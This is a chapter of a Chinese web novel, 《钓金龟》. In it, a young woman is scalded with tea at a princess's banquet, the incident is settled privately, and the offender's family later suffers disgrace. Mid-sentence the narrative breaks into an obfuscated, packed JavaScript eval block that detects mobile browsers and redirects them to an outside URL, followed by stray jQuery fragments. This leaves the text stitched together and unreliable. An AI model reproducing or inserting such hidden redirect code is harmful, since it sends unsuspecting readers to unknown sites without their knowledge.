29. 公道
作品:《钓金龟》 宁平公主手指轻点额头,目露疲惫之色,轻声问:“你是哪家的闺秀,又有何冤屈。”
吴氏见状一边给女儿使眼色一边摇头。
霍溪却恨恨地看了她一眼,并不理会,她打定主意要给宋琢玉讨一个公道。
“启禀公主,刚刚孙姑娘说她没有看清是谁要害她,可臣女却看得清清楚楚,这位梁姑娘确是故意朝着我的面门泼热茶,企图毁我容貌,若不是我表姐及时帮我挡下,我现在可能早就毁了容,根本没办法来见公主了。”
她伸手直指躺在地上的梁安安,语气带着满腔的怒火。
宁平公主眉头紧锁,十分地不耐烦,她只是爱热闹却最讨厌麻烦,十几年的寡居生活,早就将她养成了一副怠惰的性子,对于任何的笔墨官司都十分厌烦,偏偏今日有人硬是惹出这么多事情来。
老郡君也知道自己这幼妹的秉性,她是最小的女儿,前半生被父母百般疼爱,嫁人后也如鱼得水,夫妻情浓之际丈夫离世,给她换了后半辈子的安稳荣华。
所以家宅的困苦琐事,婚姻中夫妻的相看两厌,她并没有体会到丁点,大概也是这个原因,两人明明只差八九岁,却根本像是两代人。
印次她这妹妹素日里只看自己快不快活,对于旁人的死活是全然不放在心上。
到底是亲姐妹,事情若是没办妥,传出去名声也不大好。
老郡君道:“今日这事妹妹打算如何处理,是报官还是私下调停。”
宁平公主笑着,带着几分娇痴:“姐姐又不是知道,我一听这些脑袋就开始疼,哪里知道许多,不过报官总是对我……”
“那倒是,毕竟事关姑娘家的清誉,还是私下里处理了为好。”
宁平公主愣了一会,笑道:“是,姐姐说的是,少不得麻烦姐姐帮我从中调和。”
崔老郡君点头,今日这事她看得明白,必然是姑娘家生出嫉妒之心闹出来的,她看了一眼霍溪,真是一副好容貌,难怪会让人暗中生出嫉恨,好在没闹出人命,倒也十分好处理。
她朝身边的嬷嬷使了个眼色。
没多久,连带着崔祐一群公子都被请出去了。
在场的便只剩下女眷了。
恰在这时,女医也请了来,两位受伤的少女一个面色惨白一个惊惶不定。
女医处理过伤口后,将两人的情况悉数禀告给了老郡君。
老郡君听完,眉头紧蹙,一双眸子凌厉地看向梁安安,问:“你好大的胆子,竟敢众目睽睽之下意图毁去她人容貌。”
梁安安面色骤变,浑身颤抖道:“老郡君明鉴,臣女并非故意将茶水泼向这位宋妹妹,实在是一时脱手,才酿成意外,臣女身知自己犯了大错,愿意承受任何惩罚以弥补宋姑娘受的伤害。”
她虽怕得厉害,却头脑清醒,口齿明晰。
老郡君忽然面露笑容道:“如此说不过是一场意外罢了。”
霍溪瞪大了眼睛,想要争论,宋琢玉急忙拉住了她的手,摇了摇头。
公主和老郡君明显要息事宁人,若是她们执意争辩,怕是会惹得公主不快。
霍溪十分不甘心地闭上了嘴。
听老郡君道:“你二人受此惊吓,梁姑娘你虽是无意,倒地烫伤了旁人,便罚你赔礼道歉,可有异议?”
梁安安低眉顺眼道:“臣女听从老郡君的吩咐。”
宋琢玉在霍溪的搀扶下也上前一步,轻声道:“本就是一桩意外,一切就按照郡君所言,臣女并无异议。”
孙姑娘惊魂未定,在其婶娘的提醒下也表示了接受了这样结果。
此事算是完美落幕了,宁平公主很是满意。
经此一遭已然有些疲乏了,便找了借口提前结束了宴会。
回去的路上霍溪仍旧愤愤不平,她擦了一把眼泪恨声道:“凭什么就这么算了,玉姐姐你伤成这样,就这么放过她了?”
宋琢玉整个人缩在披风里,忍着疼痛,勉强挤出一丝笑容来,“不是我想算了,是公主不想追究,我若是紧抓不放,必然会惹得公主厌弃,连带着整个淮南侯府都会受到牵连,再说了,只是受了一点伤,几天就好了。”
她虽是如此说,因为疼得厉害,整个身子都在抖,说出来的话也磕磕巴巴。
霍溪泪流不止,哽咽道:“都怪我,是我连累了你。”
两人的谈话清清楚楚地落在吴氏与霍陵耳中。
吴氏面露愧疚低声道:“今日让你受委屈了。”
霍溪顿时气不打一处来,大喊道:“你现在说这些有什么用,刚刚在公主面前你怎么不说,都不知道你到底是不是我娘,任由别人欺负我们。”
车厢外的霍陵听闻眉头紧锁,怒斥道:“霍溪,谁让你这么跟娘说话。”
吴氏满脸受伤,仍道:“此事是我的错,娘没能力保护好你们。”
宋琢玉拉住口不择言的霍溪,用力地摇头。
霍溪这才不说话,只重重地哼了一声。
恰在这时那道标志性的尖利嗓音又在耳畔盘旋。
那梁夫人道:“死丫头养着你也不是一点用处都没有,好歹知道给为娘出口气,只是你怎么笨成那样,还叫人抓个现行,传出去可别说你是我的女儿,笨手笨脚的。”
梁安安窘迫地看向四周,低声道:“娘我本来就不是故意的,你别说了。”
梁夫人哪里肯听,又看见一旁淮安侯府马车,故意提高了嗓音,瞥了一眼霍陵,骄傲地抬起头上了自家马车。
听到动静的霍溪当即就冲出马车要跟梁家那对母女拼命。
霍陵拦住了冲动的妹妹,“这事交给我吧,你不必管了。”
霍溪重重地点头,“哥,你一定要给玉姐姐做主啊!”
霍陵抬头朝车厢里望了一眼,她坐在车厢的一角,似乎是因为疼痛,整个人蜷缩着,光线不太好,看不清楚她的表情,只能看见她把头偏了过去,那一瞬间,霍陵觉得她格外地惹人怜。
回到侯府,宋琢玉的后背起了一大片的燎泡,霍溪只要看一眼眼泪就止不住,心里又狠狠地咒骂了梁家那对母女一遍。
次日梁家的赔罪礼送了过来,公主府和崔家也遣人送了东西过来,大约是对她的安抚。
霍溪看见这些东西就来气,不由分说要打要砸,宋琢玉出言拦住了她。
笑了笑道:“不过是受了点伤就得了这么多好处,还有什么不满足的。”
“身体是最金贵的,哪里是这些俗物可以比的。”
宋琢玉沉默了片刻才道:“霍妹妹你可能不知道,你嘴里的这些俗物对于穷人来说是可以救命的,我娘当初就是为了省一点药钱,就小病变大病,最后去世了。”
霍溪愣住了,好半天才垂头道:“对不起玉姐姐,我……”
她不知道怎么解释。
宋琢玉拉着她的手低声道:“没关系,我只是为我抱不平,而我也只是想告诉你,不必如此了,我的伤过几天就好了,就是不知道你会不会怪我,毕竟是你的身子,若留了疤可怎么好。”
霍溪擦了擦眼泪,道:“这个你不用担心,咱们府上有上好的祛疤膏,保准不会留下一丁点痕迹。”
……
几日之后,光禄寺任职的梁少卿,也就是梁安安的父亲,因为渎职被罚了俸禄,甚至被今上
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684216|171659||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
当众斥责了教女不严,可谓是丢尽了老脸,梁安安原先有一门婚事,也因此被彻底黄了,被皇上当众斥责品行不端的女子,但凡有点脸面的人都不会娶这样的媳妇。
紧接着京中又隐约有传言,说是这位梁大人的夫人据说还惦记这如今的淮安侯,处处与人家妻女为难,怎么能说不是情根深种呢。
梁大人的脸都丢尽了,每日散值片刻都不肯停留,匆匆离去,绝不给同僚嘲笑他的任何机会。
回到家中对自己的夫人是左看不顺眼右看不顺眼,他咬牙切齿质问自己的夫人:“你老实说,这么多年你还惦记着他?”
梁夫人颤颤巍巍摇头:“老爷你要相信我啊,这二十多年来,妾身心里只有你和这个家,何曾惦记过别人。”
梁大人长袖一甩将桌子上的杯盏悉数扫落在地,冷笑道:“好一个只有我和这个家,既然如此你三番两次与人过不去又是为了什么?”
梁夫人咬着唇,说不清楚,她其实就是有些不甘心。
她自认为自己一点不比吴秋棠差,可偏偏最后是吴秋棠嫁到了淮安侯府。
虽说如今的侯府早已今时不同往日,算是个破落门户,可自己也好不到哪去,丈夫熬了多年资历也不过官居五品,再无升迁的可能性。
如今年纪大了,一脸的沟壑,那皮肤像是粗糙的树皮一般,摸着都叫人恶心,晚上与他同塌而眠都要背过身去才能睡着,就这样的男人,还三番四次想要纳美妾美婢。
而那位淮安侯还是那般俊美,上个月意外见过他一次,他甚至比之年轻更添几分气度,这样谪仙般的人物,居然还十几年如一日守着那母老虎,不曾有过别的女人。
叫她如何能不嫉妒。
接连几日,梁府始终鸡飞狗跳,家宅不宁。
便是女儿粱安安从中说合,也起不到任何作用,夫妻算是彻底离了心。
而引起这一切祸端的当事人霍瑱还是日日悠闲,于三五好友在茶楼酒肆,于丝竹管线之乐中闲谈。
坐在霍瑱对面的好友也听说了最近的消息,于是笑道:“霍老弟真是魅力不减当年,这么久了人家还对你念念不忘。”
另一个道:“何止呢,霍兄现在也是个翩翩美男,自咱们进了这茶楼,楼上唱曲的女娘足足偷看了你十几次,怕是心悦与你。”
“另一个道,果真如此,郎有情妾有意,何不趁机纳了人家?”
霍瑱急忙摆手:“不妥不妥,家中已有贤妻。”
说完另一回;个哈哈大笑:“你别劝他,谁不知他家中有个母老虎。”
说完几人皆大笑起来。
整件事的余韵足足有几个月那么长,自不必说了。
宋琢玉在后院修养了半个月,基本上好得差不多。
她是闲不住的性子,总觉得人就像工具一般,长期不活动就会僵化,于是她又恢复了从前的习惯,去厨房忙碌。
因为最近前来提亲的人很多,导致她有些心神不宁,一个没注意就切刀了手,她放下刀将手洗干净,熟练地含在嘴里发呆,完全没注意到窗外有个人正看着她。
霍陵问了葛娘子几句话,本来要离开,鬼使神差地凑到小厨房半开的窗户看了过去,恰好看见她受了伤,忍不住问:“她经常受伤吗?”
葛娘子点头,“厨房里就免不了要跟这些刀啊油的打交道,姑娘之前被油烫过一次,便不肯来学了,最近不知道为什么,性子大变,又勤勉又有天分,平时受点小伤都不大在意,因此进步非常快。”
霍陵缓缓点点头,丢下一句“不要高速她我来过”就转身离开了。
留下一脸困惑的葛娘子。